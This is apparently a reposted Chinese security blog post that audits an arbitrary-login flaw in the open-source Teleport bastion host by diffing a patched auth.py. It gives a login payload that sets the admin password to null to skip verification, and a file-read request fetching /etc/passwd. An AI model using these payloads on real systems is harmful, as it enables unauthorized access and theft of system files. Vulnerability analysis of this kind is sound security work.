开源堡垒机teleport任意用户登录漏洞审计

拿到更新包进行对比首先更新包更新了两个文件

对比auth.py

两个地方。一个是elif 改成了if 然后是检测了密码是否存在。那么跟进去代码看看login 的逻辑只要password 为None 那么就可以跳过密码验证。让password 为None 就直接用 json.dumpspyaload 如下:

{
    "type":2,
    "username":"admin",
    "password":null,
    "captcha":"rhcl",
    "oath":"",
    "remember":false
}

payload如下：

/audit/get-file?f=/etc/passwd&rid=1&type=rdp&act=read&offset=0

作者：print(“”)

原文地址：https://www.o2oxy.cn/4132.html

 还在等什么？赶紧点击下方名片关注学习吧！

原文始发于微信公众号（渗透测试网络安全）：开源堡垒机teleport任意用户登录漏洞审计